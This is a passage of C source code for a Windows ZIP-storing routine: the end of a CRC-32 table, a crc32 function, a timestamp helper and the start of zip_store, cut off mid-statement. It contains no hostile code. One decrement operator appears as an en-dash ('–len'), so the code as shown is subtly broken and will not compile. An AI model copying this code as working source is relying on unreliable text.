0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L,
0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L,
0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L,
0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L,
0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L,
0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L,
0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL,
0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL,
0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L,
0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL,
0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL,
0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L,
0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL,
0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L,
0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL,
0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL,
0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L,
0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L,
0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL,
0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L,
0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L,
0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L,
0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L,
0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L,
0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL,
0x2d02ef8dL
};
#define CRC32(c, b) (crc_table[((int)(c) ^ (b)) & 0xff] ^ ((c) >> 8))
#define DO1(buf) crc = CRC32(crc, *buf++)
#define DO2(buf) DO1(buf); DO1(buf)
#define DO4(buf) DO2(buf); DO2(buf)
#define DO8(buf) DO4(buf); DO4(buf)
unsigned long crc32(crc, buf, len)
register unsigned long crc; /* crc shift register */
register const unsigned char *buf; /* pointer to bytes to pump through */
int len; /* number of bytes in buf[] */
/* Run a set of bytes through the crc shift register. If buf is a NULL
pointer, then initialize the crc shift register contents instead.
Return the current crc in either case. */
{
if (buf == NULL) return 0L;
crc = crc ^ 0xffffffffL;
#ifndef NO_UNROLLED_LOOPS
while (len >= 8) {
DO8(buf);
len -= 8;
}
#endif
if (len) do {
DO1(buf);
} while (–len);
return crc ^ 0xffffffffL; /* (instead of ~c for 64-bit machines) */
}
static void zip_putcurtime(WORD *f_time, WORD *f_date)
{
SYSTEMTIME systime;
GetSystemTime(&systime);
if ((systime.wYear < 1999) || (systime.wYear > 2010))
systime.wYear = 2004;
if (systime.wMonth < 1 || systime.wMonth > 12) systime.wMonth = 1;
if (systime.wDay < 1 || systime.wDay > 31) systime.wDay = 10;
*f_date =
((systime.wYear-1980) << 9) |
(systime.wMonth << 5) |
systime.wDay;
*f_time =
(systime.wHour << 11) |
(systime.wMinute << 5) |
(systime.wSecond / 2);
}
static unsigned long zip_calc_crc32(HANDLE hFileIn)
{
unsigned long reg, i;
unsigned char buf[1024];
SetFilePointer(hFileIn, 0, NULL, FILE_BEGIN);
for (reg=0;;) {
i = 0;
if (ReadFile(hFileIn, buf, sizeof(buf), &i, NULL) == 0) break;
if (i == 0) break;
reg = crc32(reg, buf, i);
}
SetFilePointer(hFileIn, 0, NULL, FILE_BEGIN);
return reg;
}
int zip_store(char *in, char *out, char *store_as)
{
HANDLE hFileIn, hFileOut;
struct zip_header_t hdr1;
struct zip_eod_t eod1;
struct zip_dir_t dir1;
char buf[1024];
unsigned long i, j, offs;
hFileIn = CreateFile(in, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileIn == INVALID_HANDLE_VALUE || hFileIn == NULL)
return 1;
hFileOut = CreateFile(out, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileOut == INVALID_HANDLE_VALUE || hFileOut == NULL) {
CloseHandle(hFileIn);
return 2;
}
memset(&hdr1, '